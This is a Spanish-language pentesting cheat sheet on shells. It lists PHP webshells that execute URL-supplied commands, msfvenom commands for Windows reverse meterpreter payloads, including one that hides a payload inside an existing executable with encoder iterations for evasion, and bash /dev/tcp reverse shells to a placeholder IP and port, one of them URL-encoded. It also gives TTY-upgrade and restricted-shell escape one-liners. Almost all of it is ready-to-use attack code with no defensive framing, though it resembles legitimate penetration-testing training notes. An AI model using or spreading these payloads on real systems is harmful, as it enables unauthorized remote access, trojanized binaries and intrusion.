Shells

1. Webshells

En Kali está la ruta

/usr/share/webshells

PHP

# Ejecuta un comando
<?php system("whoami"); ?>

# shell.php?cmd=whoami
<?php system($_GET['cmd']); ?>

# Igual con passthru
<?php passthru($_GET['cmd']); ?>

# Para que shell_exec muestre el resultado hay que usar echo 
<?php echo shell_exec("whoami");?>

# preg_replace(). 
<?php preg_replace('/.*/e', 'system("whoami");', ''); ?>

# Usando backticks
<?php $output = `whoami`; echo "<pre>$output</pre>"; ?>

<?php echo `whoami`; ?>

2. Generación de shells

Msfvenom

1. Windows

msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe -o shell_reverse.exe

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp

Inyectar el payload en un binario

msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe -e x86/shikata_ga_nai -i 9 -x "/binario.exe" -o binariOutput.exe

1. Linux

0<&196;exec 196<>/dev/tcp/IP/PORT; sh <&196 >&196 2>&196

bash -i >& /dev/tcp/IP/PORT 0>&1

#encoded
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2FIP%2FPORT%200%3E%261%22

3. Shells interactivas

Python

python -c 'import pty; pty.spawn("/bin/sh")'
python -c "import pty;pty.spawn('/bin/bash')"
python -c 'import os; os.system("/bin/bash")'

Echo

echo 'os.system('/bin/bash')'

sh

/bin/sh -i

bash

/bin/bash -i

Perl

perl -e 'exec "/bin/sh";'

Desde FTP

!/bin/bash

Desde VI

:!bash
:set shell=/bin/bash
:sh

4. Evasión de shells restrictivas

SSH

ssh username@IP -t "/bin/sh"
ssh username@IP -t "bash --noprofile"

echo /usr/bin/*
$(whoami)
${whoami}

Editores de texto

:!/bin/sh
:shell
:set shell=/bin/sh

Python

import os; os.system("/bin/sh")

PHP

exec("sh -i");
php -r "system('/bin/bash');"
hp -a then exec("sh -i");

Miscellaneous

awk 'BEGIN {system("/bin/sh")}'
find / -name foobar -exec /bin/sh \;
echo "bash -i" | tee script.sh

Referencias

• https://vk9-sec.com/linux-restricted-shell-bypass/

• https://pranavgadekar.medium.com/the-tale-of-restricted-shell-bypass-leading-to-arbitrary-code-execution-fdb8d5588426

• https://sushant747.gitbooks.io/total-oscp-guide/content/reverse-shell.html

Recursos:

• https://www.revshells.com/

• https://github.com/brightio/penelope